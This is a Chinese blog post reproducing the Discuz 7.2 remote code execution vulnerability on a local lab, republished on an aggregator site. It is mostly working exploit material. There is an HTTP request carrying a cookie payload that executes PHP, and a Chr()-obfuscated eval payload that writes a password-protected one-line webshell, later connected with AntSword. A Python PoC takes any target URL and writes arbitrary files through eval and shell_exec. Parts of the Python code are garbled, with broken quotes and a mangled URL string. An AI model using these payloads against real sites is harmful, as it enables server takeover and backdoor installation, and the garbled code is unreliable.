discuz7.2漏洞复现--python编写poc

discuz7.2漏洞复现--python编写poc,第1张

discuz7.2漏洞复现--python编写poc

环境搭建
准备一台win7装上的phpstudy

将discuz7.2源码放进去

安装discuz之前,需要先安装center

文件夹搭建存放的位置是:


解压完成之后更改名称

再然后需要把ucenter放到discuz源码下边


开始安装

安装discuz之前

首先需要安装ucenter

我们先将源码拉进phpstudy根目录下边

首先安装ucenter


需要填的只有标红框的

安装完成之后

我们进行安装2

最关键的一步来了

需要将ucenter的url修改成http://192.168.0.108/discuz7/ucenter

因为我们把ucenter的源码文件放到了discuz7下边了

发现安装成功

漏洞利用
php版本为3.3.29

需要修改配置文件php.ini

将request_order = “GP”

漏洞成因以及payload:

漏洞成因以及payload:
GET /viewthread.php?tid=10&extra=page%3D1 HTTP/1.1 #固定访问格式
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: /
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
cookie: GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo(); #代码执行
Connection: close
首先访问存在漏洞的url

利用我鹏哥发的进行getshell

cookie里面的payload如下:
GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=eval(Chr(102).Chr(112).Chr(117).Chr(116).Chr(115).Chr(40).Chr(102).Chr(111).Chr(112).Chr(101).Chr(110).Chr(40).Chr(39).Chr(119).Chr(102).Chr(46).Chr(112).Chr(104).Chr(112).Chr(39).Chr(44).Chr(39).Chr(119).Chr(39).Chr(41).Chr(44).Chr(39).Chr(60).Chr(63).Chr(112).Chr(104).Chr(112).Chr(32).Chr(64).Chr(101).Chr(118).Chr(97).Chr(108).Chr(40).Chr(36).Chr(95).Chr(80).Chr(79).Chr(83).Chr(84).Chr(91).Chr(108).Chr(97).Chr(108).Chr(97).Chr(108).Chr(97).Chr(93).Chr(41).Chr(63).Chr(62).Chr(39).Chr(41).Chr(59))
创建的文件为wf.php,密码为lalala

我们去网站根目录查看:

发现成功写入一个一句话木马文件

我们在攻击机器上面进行访问

再用蚁剑进行连接

成功getshell

蚁剑上面存在敏感的一些shell信息,我就不发出来了

编写上传poc
import requests
url = input(“请输入要检测的网址:”)

data = input(“请输入要写入的内容:”)

file = input(“请输入文件的名称:”)
urlexp = “viewthread.php?tid=10&extra=page%3D1”+"&x="+“ i d = ( ′ e c h o id=('echo%20"+data+"%20>%20"+file+"');shell_exec( id=(′echoid);”
urlexp1 = url+urlexp
cookie = {“cookie”:“GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=eval($_REQUEST[x]);”}
def getshell():
result = requests.get(urlexp1,headers=cookie).status_code
if result == 200:
print(“写入文件成功”)
print(“写入的文件名称为:%s,内容是:%s”%(file,data))
else:
print(“写入文件失败”)
getshell()
#http://127.0.0.1:8086/discuz7/

验证

成功写入


欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/zaji/5679800.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-12-17
下一篇 2022-12-17

发表评论

登录后才能评论

评论列表(0条)

保存